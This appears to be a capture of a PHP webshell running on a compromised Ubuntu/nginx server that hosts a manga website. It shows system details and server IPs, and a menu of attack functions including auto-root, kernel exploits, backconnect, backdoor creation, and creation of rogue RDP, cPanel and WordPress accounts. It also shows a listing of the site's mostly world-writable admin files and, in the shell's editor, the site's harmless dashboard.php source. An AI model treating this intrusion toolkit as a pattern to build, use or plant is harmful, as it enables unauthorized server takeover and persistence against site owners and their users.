Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangapix /
public_html /
berribo /
[ HOME SHELL ]
Name
Size
Permission
Action
js
[ DIR ]
drwxrwxrwx
uploads
[ DIR ]
drwxrwxrwx
.htaccess
480
B
-rwxrwxrwx
00-01.jpg
562.85
KB
-rwxrwxrwx
02.jpg
35.82
KB
-rwxrwxrwx
03.jpg
378.77
KB
-rwxrwxrwx
04-05.jpg
696.59
KB
-rwxrwxrwx
06-07.jpg
685.45
KB
-rwxrwxrwx
08.jpg
421.87
KB
-rwxrwxrwx
09.jpg
410.44
KB
-rwxrwxrwx
10.jpg
330.76
KB
-rwxrwxrwx
AgentForm.html
11.52
KB
-rwxrwxrwx
AgentPanel.html
17.48
KB
-rwxrwxrwx
AgentReport.html
24.23
KB
-rwxrwxrwx
actions.php
8.39
KB
-rwxrwxrwx
add_article.php
18.23
KB
-rwxrwxrwx
add_chapter_section.php
11.79
KB
-rwxrwxrwx
add_new_manga.php
12.93
KB
-rwxrwxrwx
articles.php
18.06
KB
-rwxrwxrwx
bootstrap.min.css
141.49
KB
-rwxrwxrwx
bootstrap.min.js
47.8
KB
-rwxrwxrwx
change-password.php
8.51
KB
-rwxrwxrwx
comment.php
23.33
KB
-rwxrwxrwx
dashboard.php
16.33
KB
-rw-rw-r--
dashboard_ori.php
21.05
KB
-rwxrwxrwx
datasource.php
1.5
KB
-rwxrwxrwx
dbhelper.php
52.98
KB
-rwxrwxrwx
edit_article.php
19.52
KB
-rwxrwxrwx
edit_chapter_section.php
19.73
KB
-rw-rw-r--
edit_chapter_section_org.php
16.57
KB
-rwxrwxrwx
edit_chapter_section_org1.php
35.18
KB
-rwxrwxrwx
edit_chapter_section_ori.php
35.2
KB
-rwxrwxrwx
edit_manga.php
23.37
KB
-rwxrwxrwx
edit_manga2.php
27.92
KB
-rw-rw-r--
error.php
0
B
-rwxrwxrwx
favicon.ico
67.58
KB
-rwxrwxrwx
footer.php
1.21
KB
-rwxrwxrwx
generate_sitemap.php
14.74
KB
-rwxrwxrwx
genre.php
15.07
KB
-rwxrwxrwx
header.php
8.49
KB
-rwxrwxrwx
home.php
45.57
KB
-rwxrwxrwx
index.php
258
B
-rwxrwxrwx
insert-image.png
12.36
KB
-rwxrwxrwx
jquery-slim.min.js
67.97
KB
-rwxrwxrwx
loading-dark.gif
17.85
KB
-rwxrwxrwx
log.txt
208.9
KB
-rwxrwxrwx
login.php
0
B
-rwxrwxrwx
logo_dark.7c81824.png
70.25
KB
-rwxrwxrwx
logo_light.d9991b5.png
70.25
KB
-rwxrwxrwx
logo_white.f5e6e19.png
70.25
KB
-rwxrwxrwx
logout.php
185
B
-rwxrwxrwx
main.js
56
B
-rwxrwxrwx
manage_ads.php
33.09
KB
-rw-rw-r--
manga_requests.php
11.38
KB
-rwxrwxrwx
page_section.php
15.59
KB
-rwxrwxrwx
phpinfo.php
18
B
-rwxrwxrwx
popper.min.js
18.74
KB
-rwxrwxrwx
rome.css
1.76
KB
-rwxrwxrwx
rome.js
433.52
KB
-rwxrwxrwx
script.php
1.41
KB
-rwxrwxrwx
search_keywords.php
11.28
KB
-rw-rw-r--
signin.php
6.97
KB
-rwxrwxrwx
signup.php
7.23
KB
-rwxrwxrwx
sitemap-chapters.xml
1.65
MB
-rw-r--r--
sitemap-genre.xml
5.15
KB
-rw-r--r--
sitemap-manga.xml
30.47
KB
-rw-r--r--
sitemap.xml
648
B
-rwxrwxrwx
sitemap1.xml
13.43
KB
-rwxrwxrwx
sitemap_index.xml
528
B
-rw-r--r--
starter-template.css
109
B
-rwxrwxrwx
statistics.php
24.64
KB
-rwxrwxrwx
stats_data.php
2.94
KB
-rw-rw-r--
style_css.php
97.59
KB
-rwxrwxrwx
styles.css
660.94
KB
-rwxrwxrwx
thumbnail(19).webp
40.43
KB
-rwxrwxrwx
transfer_image.php
1.91
KB
-rwxrwxrwx
upload.php
1.26
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dashboard.php
<?php // dashboard.php (DROP-IN) β No external CSS/JS imports if (!isset($_SESSION)) session_start(); if (empty($_SESSION["userId"])) { echo '<script>location.replace("signin.php");</script>'; exit; } require_once(__DIR__ . "/dbhelper.php"); $dbhelper = new DBHelper(); // Expect fields: id, title, display_image, latest_chapter, rating $mangas = $dbhelper->getAllMangas(); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"> <title>Dashboard - Manga</title> <style> :root { --bg: #f6f7fb; --card: #ffffff; --text: #111827; --muted: #6b7280; --muted2: #9ca3af; --line: rgba(0, 0, 0, .08); --shadow: 0 10px 22px rgba(0, 0, 0, .08); --shadowHover: 0 16px 30px rgba(0, 0, 0, .14); --radius: 16px; --primary: #111827; --accent: #f59e0b; --danger: #ef4444; } [data-theme="dark"] { --bg: #0b1220; --card: #111827; --text: #e5e7eb; --muted: #9ca3af; --muted2: #6b7280; --line: rgba(255, 255, 255, .10); --shadow: 0 10px 22px rgba(0, 0, 0, .35); --shadowHover: 0 18px 36px rgba(0, 0, 0, .45); --primary: #e5e7eb; } * { box-sizing: border-box; } body { margin: 0; font-family: system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; background: var(--bg); color: var(--text); } a { color: inherit; text-decoration: none; } /* Topbar */ .topbar { position: sticky; top: 0; z-index: 50; backdrop-filter: blur(10px); background: color-mix(in srgb, var(--bg) 86%, transparent); border-bottom: 1px solid var(--line); } .topbar-inner { width: min(1200px, calc(100% - 24px)); margin: 0 auto; padding: 12px 0; display: flex; align-items: center; justify-content: space-between; gap: 12px; } .brand { display: flex; align-items: center; gap: 10px; font-weight: 900; letter-spacing: -.3px; } .brand-badge { width: 34px; height: 34px; border-radius: 12px; display: grid; place-items: center; background: color-mix(in srgb, var(--primary) 14%, transparent); border: 1px solid var(--line); font-weight: 900; } .brand small { display: block; font-weight: 700; color: var(--muted); margin-top: 2px; } .topbar-actions { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; justify-content: flex-end; } /* Buttons */ .btn { cursor: pointer; border: 1px solid var(--line); background: var(--card); color: var(--text); border-radius: 999px; padding: 10px 14px; font-weight: 800; font-size: 13px; transition: transform .12s ease, box-shadow .12s ease, opacity .12s ease; box-shadow: 0 6px 14px rgba(0, 0, 0, .06); display: inline-flex; align-items: center; gap: 8px; white-space: nowrap; } .btn:hover { transform: translateY(-1px); box-shadow: 0 10px 22px rgba(0, 0, 0, .10); } .btn:active { transform: translateY(0px); opacity: .92; } .btn-primary { background: var(--primary); color: #fff; border-color: transparent; } [data-theme="dark"] .btn-primary { color: #0b1220; background: #e5e7eb; } .btn-ghost { background: transparent; box-shadow: none; } /* Layout */ .wrap { width: min(1200px, calc(100% - 24px)); margin: 16px auto 52px; } .section-head { display: flex; align-items: flex-end; justify-content: space-between; gap: 12px; margin: 10px 0 12px; flex-wrap: wrap; } .title { margin: 0; font-size: 20px; font-weight: 950; letter-spacing: -.3px; } .subtitle { margin: 4px 0 0; color: var(--muted); font-size: 12px; font-weight: 700; } /* Tools */ .tools { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin: 12px 0 14px; } .tool-left { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; flex: 1; min-width: 260px; } .search { flex: 1; min-width: 220px; max-width: 460px; border-radius: 999px; border: 1px solid var(--line); padding: 11px 14px; outline: none; background: var(--card); color: var(--text); box-shadow: 0 2px 10px rgba(0, 0, 0, .05); } .search:focus { border-color: color-mix(in srgb, var(--text) 25%, transparent); box-shadow: 0 10px 22px rgba(0, 0, 0, .10); } .select { border-radius: 999px; border: 1px solid var(--line); padding: 10px 12px; background: var(--card); color: var(--text); font-weight: 800; font-size: 13px; outline: none; } .pill { font-size: 12px; color: var(--muted); font-weight: 800; } /* Grid */ .grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(165px, 1fr)); gap: 16px; align-items: stretch; } @media (min-width: 768px) { .grid { grid-template-columns: repeat(auto-fill, minmax(190px, 1fr)); } .title { font-size: 22px; } } @media (min-width: 1200px) { .grid { grid-template-columns: repeat(auto-fill, minmax(210px, 1fr)); } } /* Card */ .card { background: var(--card); border: 1px solid var(--line); border-radius: var(--radius); overflow: hidden; box-shadow: var(--shadow); transition: transform .14s ease, box-shadow .14s ease; display: flex; flex-direction: column; min-height: 100%; } .card:hover { transform: translateY(-2px); box-shadow: var(--shadowHover); } .thumb { position: relative; width: 100%; aspect-ratio: 3/4; background: color-mix(in srgb, var(--card) 75%, #9ca3af); overflow: hidden; } .thumb img { width: 100%; height: 100%; object-fit: cover; display: block; } .thumb::after { content: ""; position: absolute; left: 0; right: 0; bottom: 0; height: 48%; background: linear-gradient(to top, rgba(0, 0, 0, .45), rgba(0, 0, 0, 0)); pointer-events: none; } .body { padding: 12px 12px 10px; display: flex; flex-direction: column; gap: 6px; } .name { font-weight: 950; font-size: 14px; line-height: 1.25; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; min-height: 36px; letter-spacing: -.2px; } .chapter { font-size: 12px; color: var(--muted); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .row { display: flex; align-items: center; justify-content: space-between; gap: 10px; margin-top: 2px; } .stars { display: flex; align-items: center; gap: 2px; } .star { width: 13px; height: 13px; display: inline-block; } .star svg { width: 13px; height: 13px; display: block; stroke: color-mix(in srgb, var(--text) 25%, transparent); fill: transparent; stroke-width: 2; } .star.on svg { stroke: var(--accent); fill: var(--accent); } .badge { font-size: 11px; font-weight: 950; padding: 2px 8px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text); } .hint { margin-top: 2px; font-size: 11px; color: var(--muted2); font-weight: 800; } /* Empty state */ .empty { border: 1px dashed var(--line); border-radius: var(--radius); padding: 20px; background: color-mix(in srgb, var(--card) 86%, transparent); color: var(--muted); font-weight: 800; text-align: center; } /* Footer */ .footer { margin-top: 18px; color: var(--muted2); font-size: 12px; font-weight: 700; text-align: center; } </style> </head> <body> <!-- TOP BAR --> <div class="topbar"> <div class="topbar-inner"> <div class="brand"> <div class="brand-badge">MP</div> <div> Dashboard <small>Manga management</small> </div> </div> <div class="topbar-actions"> <button class="btn" type="button" onclick="location.href='manage_ads.php'">π’ Manage Ads</button> <button class="btn btn-ghost" id="themeBtn" type="button" title="Toggle theme">π Theme</button> <button class="btn btn-primary" type="button" onclick="location.href='add_new_manga.php'">β Add New</button> </div> </div> </div> <div class="wrap"> <div class="section-head"> <div> <h1 class="title">Upload Manga</h1> <div class="subtitle">Search, sort, and open a manga to edit</div> </div> <div class="pill" id="countText"></div> </div> <div class="tools"> <div class="tool-left"> <input id="searchInput" class="search" type="text" placeholder="Search by titleβ¦"> <select id="sortSelect" class="select"> <option value="title_asc">Sort: Title (A β Z)</option> <option value="title_desc">Sort: Title (Z β A)</option> <option value="rating_desc">Sort: Rating (High β Low)</option> <option value="rating_asc">Sort: Rating (Low β High)</option> <option value="id_desc">Sort: Newest (ID desc)</option> <option value="id_asc">Sort: Oldest (ID asc)</option> </select> <button class="btn" type="button" id="clearBtn">β Clear</button> </div> </div> <?php if (empty($mangas)) : ?> <div class="empty"> No manga found.<br> Click <b>Add New</b> to create your first manga. </div> <?php else: ?> <div id="grid" class="grid"> <?php foreach ($mangas as $m): ?> <?php $id = (int)($m['id'] ?? 0); $title = htmlspecialchars((string)($m['title'] ?? '')); $img = htmlspecialchars((string)($m['display_image'] ?? '')); $chapter = htmlspecialchars((string)($m['latest_chapter'] ?? '')); $rating = (float)($m['rating'] ?? 0); // optional fallback if empty image if ($img === '') $img = 'data:image/svg+xml;utf8,' . rawurlencode( '<svg xmlns="http://www.w3.org/2000/svg" width="400" height="520"><rect width="100%" height="100%" fill="#e5e7eb"/><text x="50%" y="50%" dominant-baseline="middle" text-anchor="middle" fill="#6b7280" font-size="22" font-family="Arial">No Image</text></svg>' ); $titleLower = strtolower(htmlspecialchars_decode($title, ENT_QUOTES)); ?> <div class="card" data-id="<?= $id ?>" data-title="<?= htmlspecialchars($titleLower) ?>" data-rating="<?= $rating ?>"> <a href="edit_manga?id=<?= $id ?>"> <div class="thumb"> <img src="<?= $img ?>" alt="<?= $title ?>" loading="lazy"> </div> </a> <div class="body"> <a class="name" href="edit_manga?id=<?= $id ?>"><?= $title ?></a> <div class="chapter" title="<?= $chapter ?>"><?= $chapter ?></div> <div class="row"> <div class="stars" aria-label="rating"> <?php for ($i = 1; $i <= 5; $i++): ?> <span class="star <?= ($rating >= $i) ? 'on' : '' ?>"> <svg viewBox="0 0 24 24" aria-hidden="true"> <polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> </span> <?php endfor; ?> </div> <span class="badge"><?= number_format($rating, 1) ?></span> </div> <div class="hint">Click to edit</div> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <div class="footer"> Β© <?= date('Y') ?> Dashboard </div> </div> <script> (function() { // Theme (persist) const root = document.documentElement; const themeBtn = document.getElementById('themeBtn'); const saved = localStorage.getItem('mp_theme'); if (saved) root.setAttribute('data-theme', saved); themeBtn?.addEventListener('click', () => { const cur = root.getAttribute('data-theme') === 'dark' ? 'dark' : 'light'; const next = (cur === 'dark') ? 'light' : 'dark'; root.setAttribute('data-theme', next); localStorage.setItem('mp_theme', next); }); // Search + Sort const grid = document.getElementById('grid'); if (!grid) return; const cards = Array.from(grid.querySelectorAll('.card')); const searchInput = document.getElementById('searchInput'); const sortSelect = document.getElementById('sortSelect'); const clearBtn = document.getElementById('clearBtn'); const countText = document.getElementById('countText'); function updateCount() { const visible = cards.filter(c => c.style.display !== 'none').length; const total = cards.length; if (countText) countText.textContent = visible + " / " + total + " mangas"; } function applySearch() { const q = (searchInput?.value || '').toLowerCase().trim(); for (const c of cards) { const t = c.getAttribute('data-title') || ''; const ok = !q || t.includes(q); c.style.display = ok ? '' : 'none'; } updateCount(); } function applySort() { const mode = sortSelect?.value || 'title_asc'; const compare = (a, b) => { const ta = a.getAttribute('data-title') || ''; const tb = b.getAttribute('data-title') || ''; const ra = parseFloat(a.getAttribute('data-rating') || '0'); const rb = parseFloat(b.getAttribute('data-rating') || '0'); const ia = parseInt(a.getAttribute('data-id') || '0', 10); const ib = parseInt(b.getAttribute('data-id') || '0', 10); switch (mode) { case 'title_desc': return tb.localeCompare(ta); case 'rating_desc': return rb - ra; case 'rating_asc': return ra - rb; case 'id_desc': return ib - ia; case 'id_asc': return ia - ib; case 'title_asc': default: return ta.localeCompare(tb); } }; const sorted = [...cards].sort(compare); const frag = document.createDocumentFragment(); for (const c of sorted) frag.appendChild(c); grid.appendChild(frag); } let t = null; searchInput?.addEventListener('input', () => { clearTimeout(t); t = setTimeout(applySearch, 80); }); sortSelect?.addEventListener('change', () => { applySort(); applySearch(); // keep filters after sort }); clearBtn?.addEventListener('click', () => { if (searchInput) searchInput.value = ''; if (sortSelect) sortSelect.value = 'title_asc'; applySort(); applySearch(); }); // initial applySort(); applySearch(); })(); </script> </body> </html>
Close